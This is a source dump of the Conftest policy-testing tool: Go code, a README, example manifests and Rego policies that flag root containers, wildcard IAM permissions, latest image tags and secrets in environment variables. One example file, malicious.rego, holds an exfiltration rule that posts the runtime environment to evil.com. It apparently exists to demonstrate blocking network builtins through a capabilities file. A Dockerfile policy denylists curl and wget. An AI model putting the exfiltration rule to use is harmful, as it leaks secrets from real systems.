fmt.Errorf("make policy directory: %w", err) 55 | } 56 | 57 | fileStore, err := file.New(path) 58 | if err != nil { 59 | return fmt.Errorf("file store: %w", err) 60 | } 61 | defer fileStore.Close() 62 | 63 | _, err = oras.Copy(ctx, src, repository, fileStore, "", oras.DefaultCopyOptions) 64 | if err != nil { 65 | return fmt.Errorf("pulling policy: %w", err) 66 | } 67 | 68 | return nil 69 | } 70 | 71 | // GetFile is currently a NOOP 72 | func (g *OCIGetter) GetFile(_ string, _ *url.URL) error { 73 | return nil 74 | } 75 | 76 | // SetClient sets the client for the OCIGetter 77 | // NOTE: These methods are normally handled by the base getter in go-getter but 78 | // the base getter is not exported 79 | func (g *OCIGetter) SetClient(c *getter.Client) { g.client = c } 80 | 81 | // Context tries to returns the Contex from the getter's 82 | // client. otherwise context.Background() is returned. 83 | func (g *OCIGetter) Context() context.Context { 84 | if g == nil || g.client == nil { 85 | return context.Background() 86 | } 87 | return g.client.Ctx 88 | } 89 | 90 | // ociURL returns the string representation of the url that is an acceptable 91 | // OCI URL. In short, it strips off the scheme, e.g. "https://", from the URL. 92 | func ociURL(u *url.URL) string { 93 | scheme, url, found := strings.Cut(u.String(), "://") 94 | if !found { 95 | url = scheme 96 | } 97 | return url 98 | } 99 | -------------------------------------------------------------------------------- /examples/README.md: -------------------------------------------------------------------------------- 1 | # Examples 2 | 3 | This folder contains examples of how to use Conftest. 4 | 5 | ## How to test a manifest against a specific policy in the examples folder 6 | 7 | There are various policies with the manifests in the examples folder. They can be tested in a following way: 8 | 9 | Run the following command to build the local binary: 10 | ```console 11 | make build 12 | ``` 13 | 14 | Then, run the following command to test the specific manifest against a specific policy: 15 | ```console 16 | ./conftest test -p examples/exceptions/policy/ examples/exceptions/deployments.yaml 17 | ``` 18 | 19 | In the above command, we are testing the manifest `examples/exceptions/deployments.yaml` against the policy `examples/exceptions/policy/`. 20 | 21 | The `./conftest test` command supports various flags as well for different output formats and configurations. The list of 22 | supported flags can be displayed with the following command: 23 | 24 | ```console 25 | ./conftest test --help 26 | ``` 27 | 28 | ## Running all example tests 29 | 30 | All acceptance tests written for `examples/` can be run via `make test-examples` 31 | The tests with the expected results demonstrate how Conftest evaluates the `examples/` 32 | -------------------------------------------------------------------------------- /examples/awssam/lambda.yaml: -------------------------------------------------------------------------------- 1 | AWSTemplateFormatVersion : '2010-09-09' 2 | Transform: AWS::Serverless-2016-10-31 3 | Description: proccess loadnewpackages events send to logLocationFinder. 4 | Parameters: 5 | DatadogLambda: 6 | Type: String 7 | Default: arn:aws:lambda:us-east-1:12312312312312:function:datadog-log-forwarder 8 | Resources: 9 | LambdaFunction: 10 | Type: AWS::Serverless::Function 11 | Properties: 12 | Handler: main.handler 13 | Runtime: python2.7 14 | Environment: 15 | Variables: 16 | - dbhost:mydb 17 | - dbuser:root 18 | - dbpassword:mypassword 19 | CodeUri: dist 20 | MemorySize: 128 21 | Timeout: 300 22 | Policies: 23 | - Statement: 24 | - Action: 25 | - sqs:* 26 | - logs:CreateLogGroup 27 | - logs:CreateLogStream 28 | - lambda:put 29 | Effect: Allow 30 | Resource: 31 | - arn:aws:sqs:us-east-1:12321312312:vuln_search_eng_package_names{{ENV}} 32 | - arn:aws:sqs:us-east-1:12312312312:vuln_search_eng_package_repos{{ENV}} 33 | - Statement: 34 | - Action: "*" 35 | Effect: Allow 36 | Resource: 37 | - arn:aws:sqs:us-east-1:12321312312:vuln_search_eng_package_names{{ENV}} 38 | - arn:aws:sqs:us-east-1:12312312312:vuln_search_eng_package_repos{{ENV}} 39 | - Statement: 40 | - Action: 41 | - sqs:Read 42 | Effect: Allow 43 | Resource: "*" 44 | Events: 45 | Stream: 46 | Type: SQS 47 | Properties: 48 | Queue: arn:aws:sqs:us-east-1:321321312:vuln_search_eng_package_names{{ENV}} 49 | BatchSize: 1 50 | DatadogLambdaLogGroupPermission: 51 | Type: AWS::Lambda::Permission 52 | Properties: 53 | Action: lambda:InvokeFunction 54 | FunctionName: !Ref DatadogLambda 55 | Principal: logs.us-east-1.amazonaws.com 56 | SourceArn: !GetAtt LambdaFunctionLogGroup.Arn 57 | LambdaFunctionLogGroup: 58 | DependsOn: LambdaFunction 59 | Properties: 60 | LogGroupName: 61 | Fn::Join: 62 | - '' 63 | - - /aws/lambda/ 64 | - Ref: LambdaFunction 65 | RetentionInDays: 14 66 | Type: AWS::Logs::LogGroup 67 | LambdaSubscriptionFilter: 68 | Type: AWS::Logs::SubscriptionFilter 69 | Properties: 70 | LogGroupName: !Ref LambdaFunctionLogGroup 71 | DestinationArn: !Ref DatadogLambda 72 | FilterPattern: "" -------------------------------------------------------------------------------- /examples/awssam/policy/policy.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | denylist := ["*"] 5 | 6 | sensitive_denylist := [ 7 | "password", 8 | "Password", 9 | "Pass", 10 | "pass", 11 | ] 12 | 13 | runtime_denylist := [ 14 | "python2.7", 15 | "node4.3", 16 | ] 17 | 18 | check_resources(actions, denylist) if { 19 | endswith(actions[_], denylist[_]) 20 | } 21 | 22 | check_sensitive(envs, denylist) if { 23 | contains(envs[_], denylist[_]) 24 | } 25 | 26 | check_runtime(runtime, denylist) if { 27 | contains(runtime, denylist[_]) 28 | } 29 | 30 | deny contains msg if { 31 | input.Resources.LambdaFunction.Properties.Runtime = "python2.7" 32 | msg = "python2.7 runtime not allowed" 33 | } 34 | 35 | deny contains msg if { 36 | input.Resources.LambdaFunction.Properties.Runtime = runtime 37 | check_runtime(runtime, runtime_denylist) 38 | msg = sprintf("%s runtime not allowed", [runtime]) 39 | } 40 | 41 | deny contains msg if { 42 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Action = a 43 | check_resources(a, denylist) 44 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Effect = "Allow" 45 | msg = "excessive Action permissions not allowed" 46 | } 47 | 48 | deny contains msg if { 49 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Action = a 50 | is_string(a) 51 | endswith(a, "*") 52 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Effect = "Allow" 53 | msg = "excessive Action permissions not allowed" 54 | } 55 | 56 | deny contains msg if { 57 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Resource = a 58 | check_resources(a, denylist) 59 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Effect = "Allow" 60 | msg = "excessive Resource permissions not allowed" 61 | } 62 | 63 | deny contains msg if { 64 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Resource = a 65 | is_string(a) 66 | endswith(a, "*") 67 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Effect = "Allow" 68 | msg = "excessive Resource permissions not allowed" 69 | } 70 | 71 | deny contains msg if { 72 | input.Resources.LambdaFunction.Properties.Environment.Variables = a 73 | check_sensitive(a, sensitive_denylist) 74 | input.Resources.LambdaFunction.Properties.Policies[_].Statement[_].Effect = "Allow" 75 | msg = "Sensitive data not allowed in environment variables" 76 | } 77 | -------------------------------------------------------------------------------- /examples/builtin-errors/invalid-dns.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny_dnsresolution contains "testing DNS resolution" if { 5 | net.lookup_ip_addr("not-real-domainxyz") 6 | } 7 | -------------------------------------------------------------------------------- /examples/capabilities/capabilities.json: -------------------------------------------------------------------------------- 1 | { 2 | "builtins": [ 3 | { 4 | "decl": { 5 | "args": [ 6 | { 7 | "of": [ 8 | { 9 | "of": { 10 | "type": "any" 11 | }, 12 | "type": "set" 13 | }, 14 | { 15 | "dynamic": { 16 | "type": "any" 17 | }, 18 | "type": "array" 19 | }, 20 | { 21 | "dynamic": { 22 | "key": { 23 | "type": "any" 24 | }, 25 | "value": { 26 | "type": "any" 27 | } 28 | }, 29 | "type": "object" 30 | }, 31 | { 32 | "type": "string" 33 | } 34 | ], 35 | "type": "any" 36 | } 37 | ], 38 | "result": { 39 | "type": "number" 40 | }, 41 | "type": "function" 42 | }, 43 | "name": "count" 44 | }, 45 | { 46 | "decl": { 47 | "args": [ 48 | { 49 | "type": "any" 50 | }, 51 | { 52 | "type": "any" 53 | } 54 | ], 55 | "result": { 56 | "type": "boolean" 57 | }, 58 | "type": "function" 59 | }, 60 | "infix": "=", 61 | "name": "eq" 62 | }, 63 | { 64 | "decl": { 65 | "args": [ 66 | { 67 | "type": "string" 68 | }, 69 | { 70 | "dynamic": { 71 | "type": "any" 72 | }, 73 | "type": "array" 74 | } 75 | ], 76 | "result": { 77 | "type": "string" 78 | }, 79 | "type": "function" 80 | }, 81 | "name": "sprintf" 82 | }, 83 | { 84 | "decl": { 85 | "args": [ 86 | { 87 | "type": "any" 88 | }, 89 | { 90 | "type": "any" 91 | } 92 | ], 93 | "result": { 94 | "type": "boolean" 95 | }, 96 | "type": "function" 97 | }, 98 | "infix": "==", 99 | "name": "equal" 100 | } 101 | ], 102 | "features": [ 103 | "rego_v1" 104 | ] 105 | } 106 | -------------------------------------------------------------------------------- /examples/capabilities/malicious.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | attack if { 5 | request := { 6 | "url": "https://evil.com:9999", 7 | "method": "POST", 8 | "body": opa.runtime().env, 9 | } 10 | response := http.send(request) 11 | } 12 | -------------------------------------------------------------------------------- /examples/combine/policy/duplicate.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | # Check that no name attribute exists twice among all resources 5 | deny contains msg if { 6 | name := input[_].contents.metadata.name 7 | occurrences := [name | some i; input[i].contents.metadata.name == name; name := input[i].metadata.name] 8 | count(occurrences) > 1 9 | msg = sprintf("Error duplicate name : %s", [name]) 10 | } 11 | 12 | deny contains msg if { 13 | kind := input[_].contents.kind 14 | kind == "team" 15 | 16 | name := input[_].contents.metadata.name 17 | 18 | some i 19 | 20 | # list all existing users 21 | existing_users = {email | some i; input[i].contents.kind == "user"; email := input[i].contents.metadata.email} 22 | 23 | # gather all configured users in teams 24 | configured_owner_users_array = [user | input[i].contents.kind == "team"; user := input[i].contents.spec.owner] 25 | configured_member_users_array = [user | input[i].contents.kind == "team"; user := input[i].contents.spec.member] 26 | 27 | configured_users_array = array.concat(configured_owner_users_array, configured_member_users_array) 28 | 29 | # create a set to remove duplicates 30 | configured_users = {team | team := configured_users_array[i][_]} 31 | 32 | # sets can be substracted 33 | missing_users := configured_users - existing_users 34 | 35 | # missing users are the ones configured in teams but not in Github 36 | count(missing_users) > 0 37 | 38 | msg = sprintf( 39 | "Existing users %s | Configured users %s | Missing users %s", 40 | [sort(existing_users), sort(configured_users), sort(missing_users)], 41 | ) 42 | } 43 | -------------------------------------------------------------------------------- /examples/combine/team.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: example.com/v1 2 | kind: team 3 | metadata: 4 | name: team-one 5 | email: team-one@example.com 6 | spec: 7 | owner: 8 | - john.doe@example.com 9 | member: 10 | - jane.doe@example.com 11 | -------------------------------------------------------------------------------- /examples/combine/user1.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: example.com/v1 2 | kind: user 3 | metadata: 4 | name: john.doe 5 | email: john.doe@example.com -------------------------------------------------------------------------------- /examples/combine/user2.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: example.com/v1 2 | kind: user 3 | metadata: 4 | name: jane.doe 5 | email: jan.doe@example.com -------------------------------------------------------------------------------- /examples/combine/users.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: example.com/v1 2 | kind: user 3 | metadata: 4 | name: john.doe 5 | email: john.doe@example.com 6 | --- 7 | apiVersion: example.com/v1 8 | kind: user 9 | metadata: 10 | name: jane.doe 11 | email: jan.doe@example.com -------------------------------------------------------------------------------- /examples/compose/docker-compose-valid.yml: -------------------------------------------------------------------------------- 1 | version: '3.5' 2 | services: 3 | web: 4 | build: . 5 | ports: 6 | - "5000:5000" 7 | redis: 8 | image: "redis:some-hash" 9 | -------------------------------------------------------------------------------- /examples/compose/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.4' 2 | services: 3 | web: 4 | build: . 5 | ports: 6 | - "5000:5000" 7 | redis: 8 | image: "redis:latest" 9 | -------------------------------------------------------------------------------- /examples/compose/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | version := to_number(input.version) 5 | 6 | deny contains msg if { 7 | endswith(input.services[_].image, ":latest") 8 | msg = "No images tagged latest" 9 | } 10 | 11 | deny contains msg if { 12 | version < 3.5 13 | msg = "Must be using at least version 3.5 of the Compose file format" 14 | } 15 | -------------------------------------------------------------------------------- /examples/configfile/conftest.toml: -------------------------------------------------------------------------------- 1 | policy = "test" 2 | namespace = "conftest" 3 | -------------------------------------------------------------------------------- /examples/configfile/deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: hello-kubernetes 5 | spec: 6 | replicas: 3 7 | selector: 8 | matchLabels: 9 | app: hello-kubernetes 10 | template: 11 | metadata: 12 | labels: 13 | app: hello-kubernetes 14 | spec: 15 | containers: 16 | - name: hello-kubernetes 17 | image: paulbouwer/hello-kubernetes:1.5 18 | ports: 19 | - containerPort: 8080 20 | -------------------------------------------------------------------------------- /examples/configfile/test/deny.rego: -------------------------------------------------------------------------------- 1 | package conftest 2 | import rego.v1 3 | 4 | import data.kubernetes 5 | 6 | deny contains msg if { 7 | kubernetes.is_deployment 8 | not input.spec.template.spec.securityContext.runAsNonRoot = true 9 | msg = "Containers must not run as root" 10 | } 11 | 12 | deny contains msg if { 13 | kubernetes.is_deployment 14 | not input.spec.selector.matchLabels.app 15 | msg = "Containers must provide app label for pod selectors" 16 | } 17 | -------------------------------------------------------------------------------- /examples/configfile/test/kubernetes.rego: -------------------------------------------------------------------------------- 1 | package kubernetes 2 | import rego.v1 3 | 4 | is_service if { 5 | input.kind = "Service" 6 | } 7 | 8 | is_deployment if { 9 | input.kind = "Deployment" 10 | } 11 | -------------------------------------------------------------------------------- /examples/cue/deployment.cue: -------------------------------------------------------------------------------- 1 | apiVersion: "apps/v1" 2 | kind: "Deployment" 3 | metadata: name: "hello-kubernetes" 4 | spec: { 5 | replicas: 3 6 | selector: matchLabels: app: "hello-kubernetes" 7 | template: { 8 | metadata: labels: app: "hello-kubernetes" 9 | spec: containers: [{ 10 | name: "hello-kubernetes" 11 | image: "paulbouwer/hello-kubernetes:1.5" 12 | ports: [{ 13 | containerPort: 8081 14 | }] 15 | }] 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /examples/cue/policy/base.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | not input.apiVersion = "apps/v1" 6 | msg = sprintf("apiVersion must be apps/v1 in : %s", [input.metadata.name]) 7 | } 8 | 9 | deny contains msg if { 10 | repl := input.spec.replicas 11 | repl < 2 12 | msg = sprintf("Replica count must be greater than 2, you have : %d", [repl]) 13 | } 14 | 15 | deny contains msg if { 16 | ports := input.spec.template.spec.containers[_].ports[_].containerPort 17 | not ports = 8080 18 | msg = sprintf("The image port should be 8080 in deployment.cue. you have : %d", [ports]) 19 | } 20 | 21 | deny contains msg if { 22 | endswith(input.spec.template.spec.containers[_].image, ":latest") 23 | msg = "No images tagged latest" 24 | } 25 | -------------------------------------------------------------------------------- /examples/cyclonedx/cyclonedx.json: -------------------------------------------------------------------------------- 1 | { 2 | "bomFormat": "CycloneDX", 3 | "specVersion": "1.3", 4 | "serialNumber": "urn:uuid:b073b8d7-b0ea-4acb-b20f-6fe35bbf6a5c", 5 | "version": 1, 6 | "metadata": { 7 | "timestamp": "2021-11-26T07:47:14Z", 8 | "tools": [ 9 | { 10 | "vendor": "anchore", 11 | "name": "syft", 12 | "version": "0.30.1", 13 | "hashes": [] 14 | } 15 | ], 16 | "component": { 17 | "type": "container", 18 | "name": "devopps/busybox:latest", 19 | "version": "sha256:d7ec60cf8390612b360c857688b383068b580d9a6ab78417c9493170ad3f1616", 20 | "hashes": [], 21 | "licenses": [], 22 | "externalReferences": [], 23 | "components": [] 24 | } 25 | }, 26 | "components": [] 27 | } -------------------------------------------------------------------------------- /examples/cyclonedx/cyclonedx.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 2021-11-26T07:47:14Z 5 | 6 | 7 | anchore 8 | syft 9 | 0.30.1 10 | 11 | 12 | 13 | 14 | devopps/busybox:latest 15 | sha256:d7ec60cf8390612b360c857688b383068b580d9a6ab78417c9493170ad3f1616 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /examples/cyclonedx/policy/policy.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | expected_shas256 := "sha256:d7ec60cf8390612b360c857688b383068b580d9a6ab78417c9493170ad3f1616" 6 | input.metadata.component.version != expected_shas256 7 | msg := sprintf( 8 | "current SHA256 %s is not equal to expected SHA256 %s", [input.metadata.component.version, expected_shas256] 9 | ) 10 | } 11 | -------------------------------------------------------------------------------- /examples/data/exclusions/services.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | ports: 3 | - 22 4 | - 21 -------------------------------------------------------------------------------- /examples/data/policy/base.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | import data.services 5 | 6 | name := input.metadata.name 7 | 8 | kind := input.kind 9 | 10 | type := input.spec.type 11 | 12 | deny contains msg if { 13 | kind == "Service" 14 | type == "LoadBalancer" 15 | 16 | some p 17 | input.spec.ports[p].port 18 | 19 | input.spec.ports[p].port == services.ports[_] 20 | 21 | msg := sprintf("Cannot expose port %v on LoadBalancer. Denied ports: %v", [input.spec.ports[p].port, services.ports]) 22 | } 23 | -------------------------------------------------------------------------------- /examples/data/policy/base_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | test_service_denied if { 5 | service := { 6 | "kind": "Service", 7 | "metadata": {"name": "sample"}, 8 | "spec": { 9 | "type": "LoadBalancer", 10 | "ports": [{"port": 22}], 11 | }, 12 | } 13 | 14 | deny["Cannot expose port 22 on LoadBalancer. Denied ports: [22, 21]"] with input as service 15 | } 16 | -------------------------------------------------------------------------------- /examples/data/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: hello-kubernetes 5 | spec: 6 | type: LoadBalancer 7 | ports: 8 | - port: 22 9 | targetPort: 22 10 | selector: 11 | app: hello-kubernetes 12 | -------------------------------------------------------------------------------- /examples/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:8-jdk-alpine 2 | 3 | VOLUME /tmp 4 | 5 | ARG DEPENDENCY=target/dependency 6 | 7 | COPY ${DEPENDENCY}/BOOT-INF/lib /app/lib 8 | COPY ${DEPENDENCY}/META-INF /app/META-INF 9 | COPY ${DEPENDENCY}/BOOT-INF/classes /app 10 | 11 | RUN apk add --no-cache python3 python3-dev build-base && pip3 install awscli==1.18.1 12 | 13 | ENTRYPOINT ["java","-cp","app:app/lib/*","hello.Application"] 14 | -------------------------------------------------------------------------------- /examples/docker/policy/commands.rego: -------------------------------------------------------------------------------- 1 | package commands 2 | import rego.v1 3 | 4 | denylist := [ 5 | "apk", 6 | "apt", 7 | "pip", 8 | "curl", 9 | "wget", 10 | ] 11 | 12 | deny contains msg if { 13 | some i 14 | input[i].Cmd == "run" 15 | val := input[i].Value 16 | contains(val[_], denylist[_]) 17 | 18 | msg := sprintf("unallowed commands found %s", [val]) 19 | } 20 | -------------------------------------------------------------------------------- /examples/docker/policy/images.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | denylist := ["openjdk"] 5 | 6 | deny contains msg if { 7 | some i 8 | input[i].Cmd == "from" 9 | val := input[i].Value 10 | contains(val[i], denylist[_]) 11 | 12 | msg = sprintf("unallowed image found %s", [val]) 13 | } 14 | -------------------------------------------------------------------------------- /examples/dotenv/policy/dotenv.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input.APP_NAME == "" 6 | msg = "APP_NAME must be set" 7 | } 8 | 9 | deny contains msg if { 10 | input.MYSQL_USER == "root" 11 | msg = "MYSQL_USER should not be root" 12 | } 13 | -------------------------------------------------------------------------------- /examples/dotenv/policy/dotenv_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | empty(value) if { 5 | count(value) == 0 6 | } 7 | 8 | no_violations if { 9 | empty(deny) 10 | } 11 | 12 | test_app_name_is_not_set if { 13 | deny["APP_NAME must be set"] with input as { "APP_NAME": "" } 14 | } 15 | 16 | test_app_name_is_set if { 17 | no_violations with input as { "APP_NAME": "test" } 18 | } 19 | 20 | test_mysql_user_is_root if { 21 | deny["MYSQL_USER should not be root"] with input as { "MYSQL_USER": "root" } 22 | } 23 | 24 | test_mysql_user_is_not_root if { 25 | no_violations with input as { "MYSQL_USER": "user1" } 26 | } 27 | -------------------------------------------------------------------------------- /examples/dotenv/sample.env: -------------------------------------------------------------------------------- 1 | APP_NAME=test 2 | MYSQL_USER=user2 3 | -------------------------------------------------------------------------------- /examples/edn/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input[":env"] = ":development" 6 | input[":log"] != ":debug" 7 | msg = "Applications in the development environment should have debug logging" 8 | } 9 | 10 | deny contains msg if { 11 | input[":env"] = ":production" 12 | input[":log"] != ":error" 13 | msg = "Applications in the production environment should have error only logging" 14 | } 15 | -------------------------------------------------------------------------------- /examples/edn/sample_config.edn: -------------------------------------------------------------------------------- 1 | ;; Sample configuration for myapp. 2 | 3 | {;; The db map is the set of values required to login to the postgres database 4 | ;; we connect to. 5 | :db {:user "my-username" 6 | :pwd "secret" 7 | :host "hostname.at.my-region.rds.amazonaws.com" 8 | :db "databasename" 9 | :port 5432} 10 | ;; Configuration options for myapp 11 | :myapp {;; Myapp is really available on 443 through reverse proxying done by 12 | ;; nginx, to avoid handling SSL ourselves. 3000 is blocked to the 13 | ;; public via iptables. 14 | :port 3000 15 | ;; The features are allowed on the form #{:foo :bar :baz}, but the 16 | ;; common form :all is better when you want all enabled. All options 17 | ;; available are: :admin-panel, :swear-filter, :ads, 18 | ;; :keyboard-shortcuts and :pirate-lang. See the internal wiki page for 19 | ;; details. 20 | :features #{:admin-panel :keyboard-shortcuts} #_:all 21 | ;; Configuration for the foo service which we depend on 22 | :foo {;; The DNS entry to lookup to connect to a foo service. If you 23 | ;; use the DNS to a specific cluster -- like "eu1.foo.mycorp.com" 24 | ;; -- you only have to provide that key. 25 | :hostname "foo.mycorp.com" 26 | ;; Keys to the foo service. Starts with key1, goes on to key2 if 27 | ;; that fails and so on. We'd like it to be a single key some 28 | ;; day, but unfortunately we opened the foo API to some clients. 29 | ;; As a stupid way to handle rate limiting we decided that it 30 | ;; would be a good idea to use different keys for different 31 | ;; clusters, instead of giving specific users specific keys 32 | ;; instead. 33 | :api-keys ["key1" "key2"] 34 | ;; How often we check for more data from foo. It's recommended to 35 | ;; turn this down to 20 minutes, because a lot of instances of 36 | ;; bar would end up rechecking myapp waiting for data. Basically 37 | ;; what caused the major outage earlier this year. 38 | :recheck-frequency #duration "20m"} 39 | ;; Timestamp to put on elements that will be cached forever by HTTP 40 | ;; caches. If not set, it is placed one year ahead of the current time. 41 | :forever-date #inst "2032-01-01T12:20:50.52Z" 42 | ;; How many goroutines we should delegate to processing data. 43 | :process-pool 5} 44 | ;; The loglevel. Use :warn only if the logs become too verbose or you don't 45 | ;; need the data, otherwise use :info. Use :debug only in development 46 | ;; environments because that thing spits out basically everything. 47 | :log :debug 48 | ;; Which environment we're in. Has nothing to say for the app itself, but it's 49 | ;; attached on the log messages sent to our centralised logging system. 50 | :env :production} 51 | -------------------------------------------------------------------------------- /examples/exceptions/deployments.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: cannot-run-as-root 5 | spec: 6 | template: 7 | spec: 8 | containers: 9 | - name: root-container 10 | image: nginx 11 | ports: 12 | - containerPort: 8080 13 | 14 | --- 15 | apiVersion: apps/v1 16 | kind: Deployment 17 | metadata: 18 | name: can-run-as-root 19 | spec: 20 | template: 21 | spec: 22 | containers: 23 | - name: root-container 24 | image: nginx 25 | ports: 26 | - containerPort: 8080 27 | -------------------------------------------------------------------------------- /examples/exceptions/policy/exception.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | exception contains rules if { 5 | input.kind = "Deployment" 6 | input.metadata.name = "can-run-as-root" 7 | 8 | rules = ["run_as_root"] 9 | } 10 | -------------------------------------------------------------------------------- /examples/exceptions/policy/policy.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | is_deployment if { 5 | input.kind = "Deployment" 6 | } 7 | 8 | deny_run_as_root contains msg if { 9 | is_deployment 10 | not input.spec.template.spec.securityContext.runAsNonRoot 11 | 12 | msg = sprintf("Containers must not run as root in Deployment %s", [input.metadata.name]) 13 | } 14 | -------------------------------------------------------------------------------- /examples/hcl1/.gitignore: -------------------------------------------------------------------------------- 1 | .terraform 2 | -------------------------------------------------------------------------------- /examples/hcl1/Makefile: -------------------------------------------------------------------------------- 1 | NAME := gke 2 | 3 | COMMAND := terraform 4 | PLAN = $(NAME)-plan.tfplan 5 | SHOW = $(NAME)-show.json 6 | CODE = $(NAME).tf 7 | 8 | 9 | all: test 10 | 11 | plan: $(PLAN) 12 | 13 | $(PLAN): $(CODE) 14 | $(COMMAND) plan -out $(PLAN) 15 | 16 | show: $(SHOW) 17 | 18 | $(SHOW): plan 19 | $(COMMAND) show -json $(PLAN) > $(SHOW) 20 | 21 | test: show 22 | cat $(SHOW) | conftest test - 23 | 24 | clean: 25 | @rm -f $(PLAN) $(SHOW) 26 | 27 | .PHONY: plan show test all clean 28 | -------------------------------------------------------------------------------- /examples/hcl1/gke-plan.tfplan: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/open-policy-agent/conftest/1e43dc0dd0c39a6c8204df07cfacc48e9dd3caa9/examples/hcl1/gke-plan.tfplan -------------------------------------------------------------------------------- /examples/hcl1/gke.tf: -------------------------------------------------------------------------------- 1 | provider "google" { 2 | version = "2.5.0" 3 | project = "instrumenta" 4 | region = "europe-west2" 5 | } 6 | 7 | resource "google_container_cluster" "primary" { 8 | name = "my-gke-cluster" 9 | location = "us-central1" 10 | 11 | # We can't create a cluster with no node pool defined, but we want to only use 12 | # separately managed node pools. So we create the smallest possible default 13 | # node pool and immediately delete it. 14 | remove_default_node_pool = true 15 | initial_node_count = 1 16 | 17 | # Setting an empty username and password explicitly disables basic auth 18 | master_auth { 19 | username = "" 20 | password = "" 21 | } 22 | } 23 | 24 | resource "google_container_node_pool" "primary_preemptible_nodes" { 25 | name = "my-node-pool" 26 | location = "us-central1" 27 | cluster = "${google_container_cluster.primary.name}" 28 | node_count = 1 29 | 30 | node_config { 31 | preemptible = true 32 | machine_type = "n1-standard-1" 33 | 34 | metadata = { 35 | disable-legacy-endpoints = "true" 36 | } 37 | 38 | oauth_scopes = [ 39 | "https://www.googleapis.com/auth/logging.write", 40 | "https://www.googleapis.com/auth/monitoring", 41 | ] 42 | } 43 | } 44 | 45 | # The following outputs allow authentication and connectivity to the GKE Cluster 46 | # by using certificate-based authentication. 47 | output "client_certificate" { 48 | value = "${google_container_cluster.primary.master_auth.0.client_certificate}" 49 | } 50 | 51 | output "client_key" { 52 | value = "${google_container_cluster.primary.master_auth.0.client_key}" 53 | } 54 | 55 | output "cluster_ca_certificate" { 56 | value = "${google_container_cluster.primary.master_auth.0.cluster_ca_certificate}" 57 | } 58 | 59 | -------------------------------------------------------------------------------- /examples/hcl1/policy/base.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | denylist := [ 5 | "google_iam", 6 | "google_container", 7 | ] 8 | 9 | deny contains msg if { 10 | check_resources(input.resource_changes, denylist) 11 | banned := concat(", ", denylist) 12 | msg := sprintf("Terraform plan will change prohibited resources in the following namespaces: %v", [banned]) 13 | } 14 | 15 | # Checks whether the plan will cause resources with certain prefixes to change 16 | check_resources(resources, disallowed_prefixes) if { 17 | startswith(resources[_].type, disallowed_prefixes[_]) 18 | } 19 | -------------------------------------------------------------------------------- /examples/hcl1/policy/gke.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains sprintf("could not find any resources in: %v", [input]) if { 5 | count(input.resource) == 0 6 | } 7 | -------------------------------------------------------------------------------- /examples/hcl1/policy/gke_combine.rego: -------------------------------------------------------------------------------- 1 | package main.gke 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | not instrumenta_project_exists 6 | 7 | msg := "File path index to key value does not exist" 8 | } 9 | 10 | instrumenta_project_exists if { 11 | input[_].contents.provider[0].google[0].project == "instrumenta" 12 | } 13 | -------------------------------------------------------------------------------- /examples/hcl2/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | has_field(obj, field) if { 5 | obj[field] 6 | } 7 | 8 | deny contains msg if { 9 | some name 10 | some lb in input.resource.aws_alb_listener[name] 11 | lb.protocol == "HTTP" 12 | msg = sprintf("ALB `%v` is using HTTP rather than HTTPS", [name]) 13 | } 14 | 15 | deny contains msg if { 16 | some name 17 | some rule in input.resource.aws_security_group_rule[name] 18 | rule.type == "ingress" 19 | contains(rule.cidr_blocks[_], "0.0.0.0/0") 20 | msg = sprintf("ASG `%v` defines a fully open ingress", [name]) 21 | } 22 | 23 | deny contains msg if { 24 | some name 25 | some disk in input.resource.azurerm_managed_disk[name] 26 | has_field(disk, "encryption_settings") 27 | not 